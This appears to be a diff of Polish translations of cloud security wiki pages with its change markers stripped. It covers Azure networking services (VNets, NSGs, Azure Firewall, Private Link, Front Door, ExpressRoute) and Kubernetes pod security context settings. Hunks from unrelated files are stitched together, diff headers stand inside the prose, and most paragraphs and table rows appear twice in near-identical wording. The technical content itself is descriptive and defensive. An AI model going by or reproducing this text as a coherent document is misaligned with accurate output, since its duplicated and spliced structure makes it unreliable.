../../az-persistence/az-vms-persistence.md
{{#endref}}
## Odniesienia
## Odnośniki
- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
@@ -4,15 +4,15 @@
## Podstawowe informacje
Azure zapewnia **wirtualne sieci (VNet)**, które pozwalają użytkownikom tworzyć **izolowane** **sieci** w chmurze Azure. W ramach tych VNets zasoby, takie jak maszyny wirtualne, aplikacje, bazy danych... mogą być bezpiecznie hostowane i zarządzane. Sieci w Azure wspierają zarówno komunikację w chmurze (między usługami Azure), jak i połączenie z zewnętrznymi sieciami oraz internetem.\
Co więcej, możliwe jest **połączenie** VNets z innymi VNetami oraz z sieciami lokalnymi.
Azure zapewnia **wirtualne sieci (VNet)**, które pozwalają użytkownikom tworzyć **izolowane** **sieci** w chmurze Azure. W ramach tych VNet można bezpiecznie hostować i zarządzać zasobami takimi jak maszyny wirtualne, aplikacje, bazy danych... Sieci w Azure wspierają zarówno komunikację wewnątrz chmury (między usługami Azure), jak i połączenie z zewnętrznymi sieciami oraz internetem.\
Co więcej, możliwe jest **połączenie** VNet z innymi VNet oraz z sieciami lokalnymi.
## Wirtualna sieć (VNET) i podsieci
Wirtualna sieć Azure (VNet) jest reprezentacją twojej własnej sieci w chmurze, zapewniając **logiczne izolowanie** w środowisku Azure dedykowanym dla twojej subskrypcji. VNety pozwala na provisionowanie i zarządzanie wirtualnymi sieciami prywatnymi (VPN) w Azure, hostując zasoby takie jak maszyny wirtualne (VM), bazy danych i usługi aplikacyjne. Oferują **pełną kontrolę nad ustawieniami sieci**, w tym zakresami adresów IP, tworzeniem podsieci, tabelami routingu i bramami sieciowymi.
Wirtualna sieć Azure (VNet) jest reprezentacją twojej własnej sieci w chmurze, zapewniając **logiczne izolowanie** w ramach środowiska Azure dedykowanego twojej subskrypcji. VNet pozwala na provisionowanie i zarządzanie wirtualnymi sieciami prywatnymi (VPN) w Azure, hostując zasoby takie jak maszyny wirtualne (VM), bazy danych i usługi aplikacyjne. Oferują **pełną kontrolę nad ustawieniami sieci**, w tym zakresami adresów IP, tworzeniem podsieci, tabelami routingu i bramami sieciowymi.
**Podsieci** to podziały w ramach VNet, definiowane przez konkretne **zakresy adresów IP**. Dzieląc VNet na wiele podsieci, możesz organizować i zabezpieczać zasoby zgodnie z architekturą swojej sieci.\
Domyślnie wszystkie podsieci w tej samej Wirtualnej Sieci Azure (VNet) **mogą komunikować się ze sobą** bez żadnych ograniczeń.
Domyślnie wszystkie podsieci w tej samej wirtualnej sieci Azure (VNet) **mogą komunikować się ze sobą** bez żadnych ograniczeń.
**Przykład:**
@@ -22,7 +22,7 @@ Domyślnie wszystkie podsieci w tej samej Wirtualnej Sieci Azure (VNet) **mogą
### Enumeracja
Aby wylistować wszystkie VNety i podsieci w koncie Azure, możesz użyć interfejsu wiersza poleceń Azure (CLI). Oto kroki:
Aby wylistować wszystkie VNet i podsieci w koncie Azure, możesz użyć interfejsu wiersza poleceń Azure (CLI). Oto kroki:
{{#tabs }}
{{#tab name="az cli" }}
@@ -55,7 +55,7 @@ NSG mogą być przypisane do **podsieci i NIC.**
**Przykład reguł:**
- Reguła przychodząca zezwalająca na ruch HTTP (port 80) z dowolnego źródła do twoich serwerów WWW.
- Reguła przychodząca zezwalająca na ruch HTTP (port 80) z dowolnego źródła do twoich serwerów webowych.
- Reguła wychodząca zezwalająca tylko na ruch SQL (port 1433) do określonego zakresu adresów IP docelowych.
### Enumeracja
@@ -91,19 +91,20 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Azure Firewall to **zarządzana usługa zabezpieczeń sieciowych** w Azure, która chroni zasoby chmurowe poprzez inspekcję i kontrolę ruchu. Jest to **stanowy firewall**, który filtruje ruch na podstawie reguł dla warstw 3 do 7, wspierając komunikację zarówno **w Azure** (ruch wschód-zachód), jak i **do/z sieci zewnętrznych** (ruch północ-południe). Wdrożony na poziomie **Wirtualnej Sieci (VNet)**, zapewnia scentralizowaną ochronę dla wszystkich podsieci w VNet. Azure Firewall automatycznie dostosowuje się do wymagań ruchu i zapewnia wysoką dostępność bez potrzeby ręcznej konfiguracji.
Azure Firewall to **zarządzana usługa zabezpieczeń sieciowych** w Azure, która chroni zasoby chmurowe poprzez inspekcję i kontrolowanie ruchu. Jest to **stanowy firewall**, który filtruje ruch na podstawie reguł dla warstw 3 do 7, wspierając komunikację zarówno **w obrębie Azure** (ruch wschód-zachód), jak i **do/z sieci zewnętrznych** (ruch północ-południe). Wdrażany na poziomie **Wirtualnej Sieci (VNet)**, zapewnia centralną ochronę dla wszystkich podsieci w VNet. Azure Firewall automatycznie dostosowuje się do wymagań ruchu i zapewnia wysoką dostępność bez potrzeby ręcznej konfiguracji.
Jest dostępny w trzech SKU—**Podstawowy**, **Standardowy** i **Premium**, z których każdy jest dostosowany do specyficznych potrzeb klientów:
| Kryteria/Cechy | Opcja 1 | Opcja 2 | Opcja 3 |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **Zalecany przypadek użycia** | Małe/Średnie Przedsiębiorstwa (SMB) z ograniczonymi potrzebami | Ogólne zastosowanie w przedsiębiorstwie, filtracja warstw 37 | Wysoce wrażliwe środowiska (np. przetwarzanie płatności) |
| ------------------------------- | -------------------------------------------------------------- | ------------------------------------------------------------ | --------------------------------------------------------- |
| **Wydajność** | Do 250 Mbps przepustowości | Do 30 Gbps przepustowości | Do 100 Gbps przepustowości |
| **Inteligencja zagrożeń** | Tylko powiadomienia | Powiadomienia i blokowanie (złośliwe IP/domeny) | Powiadomienia i blokowanie (zaawansowana inteligencja zagrożeń) |
| **Filtracja L3L7** | Podstawowa filtracja | Stanowa filtracja w różnych protokołach | Stanowa filtracja z zaawansowaną inspekcją |
| **Zaawansowana Ochrona przed Zagrożeniami** | Niedostępna | Filtracja oparta na inteligencji zagrożeń | Zawiera system wykrywania i zapobiegania włamaniom (IDPS) |
| **Inspekcja TLS** | Niedostępna | Niedostępna | Wspiera zakończenie TLS przychodzącego/wychodzącego |
| **Dostępność** | Stałe zaplecze (2 VM) | Autoskalowanie | Autoskalowanie |
| **Łatwość zarządzania** | Podstawowe kontrole | Zarządzane za pomocą Menedżera Zapory | Zarządzane za pomocą Menedżera Zapory |
| **Wydajność** | Do 250 Mbps przepustowości | Do 30 Gbps przepustowości | Do 100 Gbps przepustowości |
| **Inteligencja zagrożeń** | Tylko powiadomienia | Powiadomienia i blokowanie (złośliwe IP/domeny) | Powiadomienia i blokowanie (zaawansowana inteligencja zagrożeń) |
| **Filtracja L3L7** | Podstawowa filtracja | Stanowa filtracja w różnych protokołach | Stanowa filtracja z zaawansowaną inspekcją |
| **Zaawansowana ochrona przed zagrożeniami** | Niedostępna | Filtracja oparta na inteligencji zagrożeń | Zawiera system wykrywania i zapobiegania włamaniom (IDPS) |
| **Inspekcja TLS** | Niedostępna | Niedostępna | Wspiera zakończenie TLS przychodzącego/wychodzącego |
| **Dostępność** | Stałe zaplecze (2 VM) | Autoskalowanie | Autoskalowanie |
| **Łatwość zarządzania** | Podstawowe kontrole | Zarządzane przez Menedżera Zapory | Zarządzane przez Menedżera Zapory |
### Enumeration
@@ -142,7 +143,7 @@ Get-AzFirewall
## Tabele trasowania Azure
Tabele **trasowania Azure** są używane do kontrolowania trasowania ruchu sieciowego w obrębie podsieci. Definiują zasady, które określają, jak pakiety powinny być przesyłane, czy to do zasobów Azure, internetu, czy do konkretnego następnego skoku, takiego jak Wirtualne Urządzenie lub Zapora Azure. Możesz powiązać tabelę trasowania z **podsiecią**, a wszystkie zasoby w tej podsieci będą podążać za trasami w tabeli.
Tabele **trasowania Azure** są używane do kontrolowania trasowania ruchu sieciowego w obrębie podsieci. Definiują zasady, które określają, jak pakiety powinny być przesyłane, czy to do zasobów Azure, internetu, czy do konkretnego następnego skoku, takiego jak Wirtualne Urządzenie Sieciowe lub Zapora Azure. Możesz powiązać tabelę trasowania z **podsiecią**, a wszystkie zasoby w tej podsieci będą podążać za trasami w tabeli.
**Przykład:** Jeśli podsieć hostuje zasoby, które muszą kierować ruch wychodzący przez Wirtualne Urządzenie Sieciowe (NVA) w celu inspekcji, możesz utworzyć **trasę** w tabeli trasowania, aby przekierować cały ruch (np. `0.0.0.0/0`) do prywatnego adresu IP NVA jako następnego skoku.
@@ -171,7 +172,7 @@ Get-AzRouteTable
## Azure Private Link
Azure Private Link to usługa w Azure, która **umożliwia prywatny dostęp do usług Azure**, zapewniając, że **ruch między twoją wirtualną siecią Azure (VNet) a usługą odbywa się całkowicie w ramach sieci szkieletowej Microsoftu Azure**. Efektywnie wprowadza usługę do twojej VNet. Ta konfiguracja zwiększa bezpieczeństwo, nie narażając danych na publiczny internet.
Azure Private Link to usługa w Azure, która **umożliwia prywatny dostęp do usług Azure**, zapewniając, że **ruch między twoją wirtualną siecią Azure (VNet) a usługą odbywa się całkowicie w ramach sieci szkieletowej Microsoft Azure**. Efektywnie wprowadza usługę do twojej VNet. Ta konfiguracja zwiększa bezpieczeństwo, nie narażając danych na publiczny internet.
Private Link może być używany z różnymi usługami Azure, takimi jak Azure Storage, Azure SQL Database oraz niestandardowymi usługami udostępnianymi za pośrednictwem Private Link. Zapewnia bezpieczny sposób korzystania z usług z poziomu własnej VNet lub nawet z różnych subskrypcji Azure.
@@ -207,7 +208,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
## Punkty końcowe usługi Azure
Punkty końcowe usługi Azure rozszerzają prywatną przestrzeń adresową Twojej sieci wirtualnej i tożsamość Twojego VNet do usług Azure za pośrednictwem bezpośredniego połączenia. Włączając punkty końcowe usług, **zasoby w Twoim VNet mogą bezpiecznie łączyć się z usługami Azure**, takimi jak Azure Storage i Azure SQL Database, korzystając z sieci szkieletowej Azure. Zapewnia to, że **ruch z VNet do usługi Azure pozostaje w sieci Azure**, co zapewnia bardziej bezpieczną i niezawodną trasę.
Punkty końcowe usługi Azure rozszerzają prywatną przestrzeń adresową Twojej sieci wirtualnej i tożsamość Twojego VNet na usługi Azure za pośrednictwem bezpośredniego połączenia. Włączając punkty końcowe usług, **zasoby w Twoim VNet mogą bezpiecznie łączyć się z usługami Azure**, takimi jak Azure Storage i Azure SQL Database, korzystając z sieci szkieletowej Azure. Zapewnia to, że **ruch z VNet do usługi Azure pozostaje w sieci Azure**, co zapewnia bardziej bezpieczną i niezawodną trasę.
**Przykład:**
@@ -246,29 +247,29 @@ Microsoft zaleca korzystanie z Prywatnych Łączy w [**docs**](https://learn.mic
- Ruch z Twojego VNet do usługi Azure podróżuje przez sieć szkieletową Microsoft Azure, omijając publiczny internet.
- Punkt końcowy to bezpośrednie połączenie z usługą Azure i nie zapewnia prywatnego adresu IP dla usługi w VNet.
- Sama usługa jest nadal dostępna za pośrednictwem swojego publicznego punktu końcowego z zewnątrz Twojego VNet, chyba że skonfigurujesz zaporę usługi, aby zablokować taki ruch.
- Sama usługa jest nadal dostępna przez swój publiczny punkt końcowy z zewnątrz Twojego VNet, chyba że skonfigurujesz zaporę usługi, aby zablokować taki ruch.
- To relacja jeden do jednego między podsiecią a usługą Azure.
- Tańsze niż Prywatne Łącza.
**Prywatne Łącza:**
- Prywatne Łącze mapuje usługi Azure do Twojego VNet za pośrednictwem prywatnego punktu końcowego, który jest interfejsem sieciowym z prywatnym adresem IP w Twoim VNet.
- Prywatne Łącze mapuje usługi Azure do Twojego VNet za pomocą prywatnego punktu końcowego, który jest interfejsem sieciowym z prywatnym adresem IP w Twoim VNet.
- Usługa Azure jest dostępna za pomocą tego prywatnego adresu IP, co sprawia, że wydaje się, iż jest częścią Twojej sieci.
- Usługi połączone za pośrednictwem Prywatnego Łącza mogą być dostępne tylko z Twojego VNet lub połączonych sieci; nie ma dostępu do usługi z publicznego internetu.
- Usługi połączone przez Prywatne Łącze mogą być dostępne tylko z Twojego VNet lub połączonych sieci; nie ma dostępu do usługi przez publiczny internet.
- Umożliwia bezpieczne połączenie z usługami Azure lub własnymi usługami hostowanymi w Azure, a także połączenie z usługami udostępnionymi przez innych.
- Zapewnia bardziej szczegółową kontrolę dostępu za pośrednictwem prywatnego punktu końcowego w Twoim VNet, w przeciwieństwie do szerszej kontroli dostępu na poziomie podsieci z punktami końcowymi usługi.
- Zapewnia bardziej szczegółową kontrolę dostępu za pomocą prywatnego punktu końcowego w Twoim VNet, w przeciwieństwie do szerszej kontroli dostępu na poziomie podsieci z punktami końcowymi usługi.
Podsumowując, podczas gdy zarówno Punkty Końcowe Usługi, jak i Prywatne Łącza zapewniają bezpieczne połączenie z usługami Azure, **Prywatne Łącza oferują wyższy poziom izolacji i bezpieczeństwa, zapewniając, że usługi są dostępne prywatnie, bez narażania ich na publiczny internet**. Punkty końcowe usługi, z drugiej strony, są łatwiejsze do skonfigurowania w ogólnych przypadkach, gdzie wymagany jest prosty, bezpieczny dostęp do usług Azure bez potrzeby posiadania prywatnego adresu IP w VNet.
Podsumowując, podczas gdy zarówno Punkty Końcowe Usługi, jak i Prywatne Łącza zapewniają bezpieczne połączenie z usługami Azure, **Prywatne Łącza oferują wyższy poziom izolacji i bezpieczeństwa, zapewniając, że usługi są dostępne prywatnie, bez narażania ich na publiczny internet**. Punkty Końcowe Usługi, z drugiej strony, są łatwiejsze do skonfigurowania w ogólnych przypadkach, gdzie wymagany jest prosty, bezpieczny dostęp do usług Azure bez potrzeby posiadania prywatnego adresu IP w VNet.
## Azure Front Door (AFD) i AFD WAF
**Azure Front Door** to skalowalny i bezpieczny punkt wejścia do **szybkiej dostawy** Twoich globalnych aplikacji internetowych. **Łączy** różne usługi, takie jak globalne **równoważenie obciążenia, przyspieszanie witryn, odciążanie SSL i zapora aplikacji internetowej (WAF)** w jedną usługę. Azure Front Door zapewnia inteligentne routowanie na podstawie **najbliższej lokalizacji brzegowej do użytkownika**, zapewniając optymalną wydajność i niezawodność. Dodatkowo oferuje routowanie oparte na URL, hosting wielu witryn, afinityzację sesji i bezpieczeństwo na poziomie aplikacji.
**Azure Front Door** to skalowalny i bezpieczny punkt wejścia do **szybkiej dostawy** Twoich globalnych aplikacji internetowych. **Łączy** różne usługi, takie jak globalne **równoważenie obciążenia, przyspieszanie witryn, odciążanie SSL i możliwości zapory aplikacji internetowej (WAF)** w jedną usługę. Azure Front Door zapewnia inteligentne routowanie w oparciu o **najbliższą lokalizację brzegową do użytkownika**, zapewniając optymalną wydajność i niezawodność. Dodatkowo oferuje routowanie oparte na URL, hosting wielu witryn, afinityzację sesji i bezpieczeństwo na poziomie aplikacji.
**Azure Front Door WAF** jest zaprojektowany, aby **chronić aplikacje internetowe przed atakami opartymi na sieci** bez modyfikacji kodu zaplecza. Zawiera niestandardowe zasady i zarządzane zestawy zasad, aby chronić przed zagrożeniami takimi jak wstrzykiwanie SQL, skrypty międzywitrynowe i inne powszechne ataki.
**Przykład:**
Wyobraź sobie, że masz globalnie rozproszoną aplikację z użytkownikami na całym świecie. Możesz użyć Azure Front Door, aby **przekierować żądania użytkowników do najbliższego regionalnego centrum danych** hostującego Twoją aplikację, co zmniejsza opóźnienia, poprawia doświadczenia użytkowników i **chroni ją przed atakami sieciowymi dzięki możliwościom WAF**. Jeśli w danym regionie wystąpi przestój, Azure Front Door może automatycznie przekierować ruch do następnej najlepszej lokalizacji, zapewniając wysoką dostępność.
Wyobraź sobie, że masz globalnie rozproszoną aplikację z użytkownikami na całym świecie. Możesz użyć Azure Front Door, aby **przekierować żądania użytkowników do najbliższego regionalnego centrum danych** hostującego Twoją aplikację, co zmniejsza opóźnienia, poprawia doświadczenia użytkowników i **broni ją przed atakami sieciowymi dzięki możliwościom WAF**. Jeśli w danym regionie wystąpi przestój, Azure Front Door może automatycznie przekierować ruch do następnej najlepszej lokalizacji, zapewniając wysoką dostępność.
### Enumeracja
@@ -295,7 +296,7 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway i Azure Application Gateway WAF
Azure Application Gateway to **load balancer ruchu sieciowego**, który umożliwia zarządzanie ruchem do Twoich **aplikacji** internetowych. Oferuje **równoważenie obciążenia na warstwie 7, zakończenie SSL oraz możliwości zapory aplikacji internetowej (WAF)** w ramach usługi Application Delivery Controller (ADC). Kluczowe funkcje obejmują routowanie oparte na URL, sesje oparte na ciasteczkach oraz odciążanie warstwy gniazd zabezpieczonych (SSL), które są kluczowe dla aplikacji wymagających złożonych możliwości równoważenia obciążenia, takich jak globalne routowanie i routowanie oparte na ścieżkach.
Azure Application Gateway to **load balancer ruchu sieciowego**, który umożliwia zarządzanie ruchem do Twoich **aplikacji** internetowych. Oferuje **balansowanie obciążenia na warstwie 7, zakończenie SSL oraz możliwości zapory aplikacji internetowej (WAF)** w ramach usługi Application Delivery Controller (ADC). Kluczowe funkcje obejmują routowanie oparte na URL, sesje oparte na ciasteczkach oraz odciążanie warstwy gniazd zabezpieczonych (SSL), które są kluczowe dla aplikacji wymagających złożonych możliwości balansowania obciążenia, takich jak globalne routowanie i routowanie oparte na ścieżkach.
**Przykład:**
@@ -330,7 +331,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**Przykład:**
Wyobraź sobie firmę z oddzielnymi działami, takimi jak Sprzedaż, HR i Rozwój, **każdy z własną VNet (spokes)**. Te VNety **wymagają dostępu do wspólnych zasobów** takich jak centralna baza danych, zapora ogniowa i brama internetowa, które znajdują się w **innej VNet (hub)**. Korzystając z modelu Hub i Spoke, każdy dział może **bezpiecznie łączyć się z wspólnymi zasobami przez VNet hub, nie narażając tych zasobów na publiczny internet** ani nie tworząc skomplikowanej struktury sieciowej z licznymi połączeniami.
Wyobraź sobie firmę z oddzielnymi działami, takimi jak Sprzedaż, HR i Rozwój, **każdy z własną VNet (spokes)**. Te VNety **wymagają dostępu do wspólnych zasobów**, takich jak centralna baza danych, zapora ogniowa i brama internetowa, które znajdują się w **innej VNet (hub)**. Korzystając z modelu Hub i Spoke, każdy dział może **bezpiecznie łączyć się z wspólnymi zasobami przez VNet hub, nie narażając tych zasobów na publiczny internet** ani nie tworząc złożonej struktury sieciowej z licznymi połączeniami.
### Enumeracja
@@ -394,11 +395,11 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute
Azure ExpressRoute to usługa, która zapewnia **prywatne, dedykowane, szybkie połączenie między Twoją infrastrukturą lokalną a centrami danych Azure**. Połączenie to realizowane jest przez dostawcę łączności, omijając publiczny internet i oferując większą niezawodność, szybsze prędkości, niższe opóźnienia oraz wyższe bezpieczeństwo niż typowe połączenia internetowe.
Azure ExpressRoute to usługa, która zapewnia **prywatne, dedykowane, szybkie połączenie między Twoją infrastrukturą lokalną a centrami danych Azure**. To połączenie jest realizowane przez dostawcę łączności, omijając publiczny internet i oferując większą niezawodność, szybsze prędkości, niższe opóźnienia i wyższe bezpieczeństwo niż typowe połączenia internetowe.
**Przykład:**
Międzynarodowa korporacja wymaga **spójnego i niezawodnego połączenia z usługami Azure z powodu dużej ilości danych** oraz potrzeby wysokiej przepustowości. Firma decyduje się na Azure ExpressRoute, aby bezpośrednio połączyć swoje lokalne centrum danych z Azure, ułatwiając transfery danych na dużą skalę, takie jak codzienne kopie zapasowe i analizy danych w czasie rzeczywistym, z poprawioną prywatnością i szybkością.
Międzynarodowa korporacja wymaga **spójnego i niezawodnego połączenia z usługami Azure z powodu dużej ilości danych** i potrzeby wysokiej przepustowości. Firma decyduje się na Azure ExpressRoute, aby bezpośrednio połączyć swoje lokalne centrum danych z Azure, ułatwiając transfery danych na dużą skalę, takie jak codzienne kopie zapasowe i analizy danych w czasie rzeczywistym, z poprawioną prywatnością i szybkością.
### **Enumeration**
@@ -11,19 +11,20 @@ Podczas określania kontekstu bezpieczeństwa Podu możesz użyć kilku atrybut
- Ustawienie **runASNonRoot** na **True**
- Skonfigurowanie **runAsUser**
- Jeśli to możliwe, rozważ **ograniczenie** **uprawnień** wskazując **seLinuxOptions** i **seccompProfile**
- **NIE** przyznawaj dostępu do **grupy** **privilege** za pomocą **runAsGroup** i **supplementaryGroups**
- **NIE** przyznawaj dostępu do **grupy** z **uprawnieniami** za pomocą **runAsGroup** i **supplementaryGroups**
| Parameter | Description |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Specjalna grupa pomocnicza, która ma zastosowanie do <strong>wszystkich kontenerów w podzie</strong>. Niektóre typy wolumenów pozwalają Kubeletowi na <strong>zmianę właściciela tego wolumenu</strong> na właściciela podu:<br>1. Właściciel GID będzie FSGroup<br>2. Bit setgid jest ustawiony (nowe pliki utworzone w wolumenie będą własnością FSGroup)<br>3. Bity uprawnień są OR'd z rw-rw---- Jeśli nie ustawione, Kubelet nie zmieni właściciela i uprawnień żadnego wolumenu</p> |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Specjalna grupa pomocnicza, która ma zastosowanie do <strong>wszystkich kontenerów w podzie</strong>. Niektóre typy wolumenów pozwalają Kubeletowi na <strong>zmianę właściciela tego wolumenu</strong> na właściciela podu:<br>1. Właściciel GID będzie FSGroup<br>2. Bit setgid jest ustawiony (nowe pliki utworzone w wolumenie będą należały do FSGroup)<br>3. Bity uprawnień są OR'd z rw-rw---- Jeśli nie ustawione, Kubelet nie zmieni właściciela i uprawnień żadnego wolumenu</p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | To definiuje zachowanie **zmiany właściciela i uprawnień wolumenu** przed jego udostępnieniem wewnątrz Podu. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID do uruchomienia punktu wejścia procesu kontenera**. Używa domyślnej wartości czasu wykonywania, jeśli nie jest ustawione. Może być również ustawione w SecurityContext. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Wskazuje, że kontener musi działać jako użytkownik niebędący rootem. Jeśli prawda, Kubelet zweryfikuje obraz w czasie wykonywania, aby upewnić się, że nie działa jako UID 0 (root) i nie uruchomi kontenera, jeśli tak jest. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **UID do uruchomienia punktu wejścia procesu kontenera**. Domyślnie użytkownik określony w metadanych obrazu, jeśli nieokreślony. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Więcej informacji o</em> <em><strong>seLinux</strong></em></p> | **Kontekst SELinux, który ma być zastosowany do wszystkich kontenerów**. Jeśli nieokreślony, czas wykonywania kontenera przydzieli losowy kontekst SELinux dla każdego kontenera. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID do uruchomienia punktu wejścia procesu kontenera**. Używa domyślnej wartości czasu wykonywania, jeśli nie jest ustawione. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Wskazuje, że kontener musi działać jako użytkownik nie-root. Jeśli prawda, Kubelet zweryfikuje obraz w czasie wykonywania, aby upewnić się, że nie działa jako UID 0 (root) i nie uruchomi kontenera, jeśli tak jest. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **UID do uruchomienia punktu wejścia procesu kontenera**. Domyślnie użytkownik określony w metadanych obrazu, jeśli nie jest określony. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Więcej informacji o</em> <em><strong>seLinux</strong></em></p> | **Kontekst SELinux, który ma być zastosowany do wszystkich kontenerów**. Jeśli nie określono, czas wykonywania kontenera przydzieli losowy kontekst SELinux dla każdego kontenera. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>Więcej informacji o</em> <em><strong>Seccomp</strong></em></p> | **Opcje seccomp, które mają być używane przez kontenery** w tym podzie. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | Lista **grup stosowanych do pierwszego procesu uruchomionego w każdym kontenerze**, oprócz głównego GID kontenera. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Więcej informacji o</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls zawierają listę **namespaced sysctls używanych dla podu**. Pody z nieobsługiwanymi sysctls (przez czas wykonywania kontenera) mogą nie uruchomić się. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Ustawienia specyficzne dla systemu Windows stosowane do wszystkich kontenerów. Jeśli nieokreślone, użyte zostaną opcje w SecurityContext kontenera. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Ustawienia specyficzne dla systemu Windows stosowane do wszystkich kontenerów. Jeśli nie określono, użyte zostaną opcje w SecurityContext kontenera. |
## SecurityContext
@@ -32,25 +33,25 @@ Podczas określania kontekstu bezpieczeństwa Podu możesz użyć kilku atrybut
Ten kontekst jest ustawiony wewnątrz **definicji kontenerów**. Z punktu widzenia defensywnego bezpieczeństwa powinieneś rozważyć:
- **allowPrivilegeEscalation** na **False**
- Nie dodawaj wrażliwych **capabilities** (i usuń te, których nie potrzebujesz)
- Nie dodawaj wrażliwych **uprawnień** (i usuń te, których nie potrzebujesz)
- **privileged** na **False**
- Jeśli to możliwe, ustaw **readOnlyFilesystem** na **True**
- Ustaw **runAsNonRoot** na **True** i ustaw **runAsUser**
- Jeśli to możliwe, rozważ **ograniczenie** **uprawnień** wskazując **seLinuxOptions** i **seccompProfile**
- **NIE** przyznawaj dostępu do **grupy** **privilege** za pomocą **runAsGroup.**
- **NIE** przyznawaj dostępu do **grupy** z **uprawnieniami** za pomocą **runAsGroup.**
Zauważ, że atrybuty ustawione w **zarówno SecurityContext, jak i PodSecurityContext**, wartość określona w **SecurityContext** ma **pierwszeństwo**.
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** kontroluje, czy proces może **uzyskać więcej uprawnień** niż jego proces nadrzędny. Ta wartość boolowska bezpośrednio kontroluje, czy flaga no_new_privs zostanie ustawiona na proces kontenera. AllowPrivilegeEscalation jest zawsze prawdziwe, gdy kontener jest uruchamiany jako **Privileged** lub ma **CAP_SYS_ADMIN** |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Więcej informacji o</em> <em><strong>Capabilities</strong></em></p> | **Capabilities do dodania/usunięcia podczas uruchamiania kontenerów**. Domyślnie używa domyślnego zestawu uprawnień. |
